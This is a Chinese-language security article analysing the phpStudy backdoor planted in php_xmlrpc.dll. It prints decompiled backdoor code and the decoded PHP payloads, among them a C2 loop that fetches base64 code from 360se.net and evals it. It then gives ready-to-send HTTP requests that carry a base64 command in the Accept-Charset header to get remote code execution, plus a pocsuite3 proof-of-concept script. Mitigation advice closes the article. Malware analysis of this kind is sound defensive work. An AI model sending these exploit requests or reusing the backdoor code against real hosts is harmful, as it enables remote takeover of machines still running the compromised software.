原創: Qftm 合天智匯
原創投稿活動:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
關于《phpStudyBackDoor》風波已經過去有一段時間了,由于,前段時間一直忙于其它事情QAQ,今天有時間對該事件重新回溯&深度分析。
*嚴正聲明:本文僅限于技術討論與分享,嚴禁用于非法途徑
背景分析
2019年9月20日,杭州市公安局舉行新聞通報會,通報今年以來組織開展打擊涉網違法犯罪暨“凈網2019”專項行動戰果,通報內容中提到國內著名的PHP調試環境程序集成包Phpstudy軟件遭受到以馬某為首的國內黑客團伙攻擊并被植入后門。Phpstudy集成環境包在國內的使用用戶逾百萬,據悉,此次后門攻擊事件可追溯到2016年,屹今為止累計控制計算機逾67萬臺,該黑客團伙通過該后門獲取的用戶信息、各類系統賬號信息進一步開展違法行為,累計非法牟利600余萬元。
影響版本
phpStudy20180211版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45與php5.2.17ext擴展文件夾下的php_xmlrpc.dll
環境準備
測試環境以“phpStudy20161103版本php5.4.45”為例進行分析
ps:目前官方已更新舊版本程序,可自行下載https://www.xp.cn

第一個是目前官方正常配置文件,第二個是被植入后門的配置文件,從圖中直觀的也能看出來兩個文件的大小不一樣!!分別對其進行Hash校驗:

MD5(php_xmlrpc.dll):c339482fd2b233fb0a555b629c0ea5d5
MD5(php_xmlrpctrue.dll):6ddb8f2af4b2b24671ddcd82d7c08c91
通過Hash校驗發現兩個文件的Hash值不一樣!
實驗:phpStudy后門漏洞復現
http://www.hetianlab.com/expc.do?ec=ECID1387-c383-454e-9448-6460e0f4581f
后門分析
目前各大廠商已將此后門加入威脅情報庫中,此處通過virustotal和火絨查看


從上圖可以看到原始的php_xmlrpc.dll存在威脅,接下來開始對“php_xmlrpc.dll”進行深入分析......
通過IDA進行查看可以發現官方更新過的“php_xmlrpc.dll”文件已經不存在危險函數“sub_100031F0”,下面正式分析被植入后門的“php_xmlrpc.dll”
首先,用IDA打開“php_xmlrpc.dll”,shift+f12定位是否存在危險字符串

通過索引發現存在危險函數eval()

根據eval()函數定位到相應的代碼段然后反編譯偽代碼找到后門危險函數“sub_100031F0”


“sub_100031F0”程序代碼
{ int v3; // edx int v4; // eax int v5; // ecx int v6; // eax int v7; // esi char *v8; // edi char *v9; // ecx int v10; // eax char *v11; // esi int v12; // eax char *v13; // edi char *v14; // ecx _Dword *v15; // esi int v16; // eax void *v17; // edx int v18; // eax void *v19; // edi _DWORD *v20; // esi int result; // eax int v22; // eax int v23; // ecx int v24; // eax int v25; // edi _DWORD *v26; // esi char v27; // [esp+Dh] [ebp-19Bh] __int16 v28; // [esp+BDh] [ebp-EBh] char v29; // [esp+BFh] [ebp-E9h] char v30; // [esp+C0h] [ebp-E8h] char v31; // [esp+100h] [ebp-A8h] char v32; // [esp+140h] [ebp-68h] char v33; // [esp+180h] [ebp-28h] const char ***v34; // [esp+184h] [ebp-24h] int v35; // [esp+188h] [ebp-20h] int v36; // [esp+18Ch] [ebp-1Ch] int **v37; // [esp+190h] [ebp-18h] int v38; // [esp+194h] [ebp-14h] _DWORD **v39; // [esp+198h] [ebp-10h] void *v40; // [esp+19Ch] [ebp-Ch] char *v41; // [esp+1A0h] [ebp-8h] char *v42; // [esp+1A4h] [ebp-4h] memset(&v27, 0, 0xB0u); v28 = 0; v3 = *a3; v29 = 0; if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) ) zend_is_auto_global(aServer, 7, a3); zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33); if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) { if ( !strcmp(**v34, aGzipDeflate) ) { if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) { v40 = sub_100040B0(**v37, strlen((const char *)**v37)); if ( v40 ) { v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v35 = v5; v6 = setjmp3(&v30, 0); v7 = v35; if ( v6 ) *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; else zend_eval_string(v40, 0, &byte_10012884, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; } } } else { v12 = strcmp(**v34, aCompressGzip); if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v40 = v17; v18 = setjmp3(&v32, 0); v19 = v40; if ( v18 ) { v20 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; } else { v20 = a3; zend_eval_string(v42, 0, &byte_10012884, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; return result; } } } if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) { if ( strlen(byte_100127B8) == 0 ) sub_10004480(byte_100127B8); if ( strlen(Dest) == 0 ) sub_10004380(Dest); if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; } spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v23 = *(_DWORD *)(v22 + 296); *(_DWORD *)(v22 + 296) = &v31; v38 = v23; v24 = setjmp3(&v31, 0); v25 = v38; if ( v24 ) { v26 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; } else { v26 = a3; zend_eval_string(v41, 0, &byte_10012884, a3); } *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; if ( dword_1000D010 < 3600 ) dword_1000D010 += 3600; ftime(&dword_10012AA0); } ftime(&dword_10012AB0); if ( dword_10012AA0 < 0 ) ftime(&dword_10012AA0); return 0;}
首先分析spprintf()函數代碼處功能,因為其對eval()函數進行了處理
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
spprintf函數是php官方自己封裝的函數,此處實際上實現的是字符串拼接功能,實際代碼如下:
@eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,’v42′,27h,')); @eval(gzuncompress(',27h,’v41′,27h,'));
ps:eval()函數中第一個%s位格式化字符串、第二個%s為字符串傳參
可以看到上述代碼主要對v41、v42數據進行解壓執行操控,可以初步猜想惡意代碼存在于v41和v42數據中,同理按照思路流程向上去找v41、v42數據內容,
對v41的處理代碼
if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &byte_10012884; v9 = asc_1000D028; v41 = &byte_10012884; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == 39 ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; }
對v42的處理代碼
if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; }
分析代碼可知v41數據內容是1000D028-1000D66C(基地址為10000000)范圍內的數據,v42數據內容是1000D66C-1000E5C4(基地址為10000000)范圍內的數據,使用010edit查看發現其均位于.data數據塊


由于.data為dword類型每個值占用4個字節,代碼處將其轉換為char類型進行存儲,然后使用php內置函數gzuncompress對其解壓執行
使用微步情報局公開的解密腳本進行兩段數據的提取解壓
# -*- coding:utf-8 -*- # !/usr/bin/env Python import os, sys, string, shutil, re import base64 import struct import pefile import ctypes import zlib # import put_family_c2 def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c + length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.Append("%04x %-*s %sn" % (c, length * 3, hex, printable)) return ''.join(lines) def descrypt(data): try: # data = base64.encodestring(data) # print(hexdump(data)) num = 0 data = zlib.decompress(data) # return result return (True, result) except Exception, e: print(e) return (False, "") def GetSectionData(pe, Section): try: ep = Section.VirtualAddress ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize] # print(hexdump(data)) return data except Exception, e: return None def GetSecsions(PE): try: for section in PE.sections: # print(hexdump(section.Name)) if (section.Name.replace('\x00', '') == '.data'): data = GetSectionData(PE, section) # print(hexdump(data)) return (True, data) return (False, "") except Exception, e: return (False, "") def get_encodedata(filename): pe = pefile.PE(filename) (ret, data) = GetSecsions(pe) if ret: flag = "gzuncompress" offset = data.find(flag) data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "") decodedata_1 = zlib.decompress(data[:0x191]) print(hexdump(data[0x191:])) decodedata_2 = zlib.decompress(data[0x191:]) with open("decode_1.txt", "w") as hwrite: hwrite.write(decodedata_1) hwrite.close with open("decode_2.txt", "w") as hwrite: hwrite.write(decodedata_2) hwrite.close def main(path): c2s = [] domains = [] file_list = os.listdir(path) for f in file_list: print f file_path = os.path.join(path, f) get_encodedata(file_path) if __name__ == "__main__": # os.getcwd() path = "php5.4.45" main(path)
運行結果生成兩個數據文件分別對應v41、v42,查看數據內容是經過base64編碼過的,對其解碼
v41數據
@ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1rn"; $out .= "Host: {$h}rn"; $out .= "Accept-Encoding: compress,gziprn"; $out .= "Connection: Closernrn"; fwrite($fp, $out); fclose($fp); }
v41腳本:使用fsockopen模擬GET發包
v42數據
@ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n);
v42腳本:后門c2服務器(360se.net)(當前c2已經失活,因此不會對相關被控主機造成新的危害)
ps:從上面v41、v42數據的提取過程,可以發現攻擊者對數據進行了壓縮存儲,增加了惡意代碼的隱蔽性,同時c2服務器域名模仿了奇虎360公司相關產品名稱,具有一定的欺詐特性。
實驗:phpStudy后門漏洞復現
http://www.hetianlab.com/expc.do?ec=ECID1387-c383-454e-9448-6460e0f4581f
分析反向連接c2后門
核心代碼
v12 = strcmp(**v34, aCompressGzip); // //compress,gzip if ( !v12 ) { v13 = &byte_10012884; v14 = (char *)&unk_1000D66C; v42 = &byte_10012884; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == 39 ) { v13[v12] = 92; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296);
分析代碼邏輯,首先想要執行
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
必須滿足if( !v12 )
v12 = strcmp(**v34, aCompressGzip);if ( !v12 )

定位aCompressGzip,只要ACCEPT_ENCODING等于compress,gzip即可出發v42惡意代碼
構造相應Payload:
GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding:compress,gzip….
ps:由于C2服務器已經失效,不在進行后續操作
分析正向連接RCE
在C2后門基礎上向上接著分析
核心代碼
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) { if ( !strcmp(**v34, aGzipDeflate) ) { if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) { v40 = sub_100040B0(**v37, strlen((const char *)**v37)); if ( v40 ) { v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v35 = v5; v6 = setjmp3(&v30, 0); v7 = v35; if ( v6 ) *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; else zend_eval_string(v40, 0, &byte_10012884, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; } } }
分析代碼邏輯
第一個if(),判斷是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 為當前請求的Accept-Encoding:頭部信息的內容。
第二個if(),在第一個if()基礎上,判斷$_SERVER['HTTP_ACCEPT_ENCODING']字段值是否是gzip,deflate。
第三個if(),在前兩個if()的基礎上,判斷是否存在HTTP_ACCEPT_CHARSET字段,$_SERVER['HTTP_ACCEPT_CHARSET']為當前請求的Accept-Charset:頭部信息的內容。
最后,在前三個if()的基礎上,提取HTTP_ACCEPT_CHARSET字段值,并對該值進行base64解碼,然后調用zend_eval_string(v40,0, &byte_10012884, a3); 執行RCE。
構造相應Payload:
GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==….
EXP利用
后門RCE
exp構造
GET /phpinfo.php HTTP/1.1Host: 192.168.43.146User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==Connection: closeUpgrade-Insecure-Requests: 1
exp利用

Accept-Charset請求頭字段值需要經過base64編碼
c3lzdGVtKCJuZXQgdXNlciIpOw== system("net user");
POC構造
后門RCE
POC驗證
POC代碼編寫利用創宇的pocsuite3框架進行編寫,此處放上自己最初寫的POC,只包含漏洞驗證模塊,因為本人已刪掉attack模塊(安全第一!!!)
import base64import hashlibimport randomimport urllibfrom urllib.parse import urljoin, quotefrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_portfrom pocsuite3.api import requestsfrom pocsuite3.lib.core.data import loggerfrom pocsuite3.lib.utils import get_middle_text class DemoPOC(POCBase): vulID = '93212' # ssvid version = '1.0' author = ['Qftm'] vulDate = '2019-09-23' createDate = '2019-09-23' updateDate = '2019-09-23' references = ['https://www.seebug.org/vuldb/ssvid-93212'] name = 'phpstudy backdoor' appPowerLink = 'http://www.finecms.net/show-1.html ' appName = 'phpstudy' appVersion = 'version = 2018|2016' vulType = 'backdoor' desc = '''Phpstudy Backdoor RCE''' samples = [] install_requires = [''] category = POC_CATEGORY.EXPLOITS.WEBAPP def _verify(self): result = {} try: vul_url = urljoin(self.url, '/') rand_num = random.randint(0, 1000) hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest() print(vul_url) prexp = '''echo '{}' ;'''.format(hash_flag) exp = base64.b64encode(prexp.encode()).decode() headers = {'Accept-Encoding': 'gzip,deflate', 'Accept-Charset': '{}'.format(exp) } r = requests.post(vul_url, headers=headers) if r.status_code != 404: if hash_flag in r.text: print(r.headers.get("Location")) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as ex: logger.exception(ex) return self.parse_output(result) def _attack(self): result = {} return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)
漏洞驗證機制使用隨機數產生的MD5值(hash_flag)進行校驗,首先判斷網頁是否是404提高命中率,然后根據網頁返回來的內容,比對查看是否包含相應的hash_flag,如果包含則證明存在后門RCE,否則不存在。
驗證效果

漏洞預防
1、內部排查確認受影響的Phpstudy環境PC主機,進行安全掃描處理(火絨、360安全衛士等)、清除可能存在的可疑程序。
2、對受影響的Phpstudy環境PC主機上的用戶賬號信息做登錄日志審計、及時更換相關賬號密碼,防止賬號密碼早已泄露,造成危害。
3、到官網進行下載更新,校驗hash。
參考鏈接
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw https://www.freebuf.com/articles/others-articles/215406.html# https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a1
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!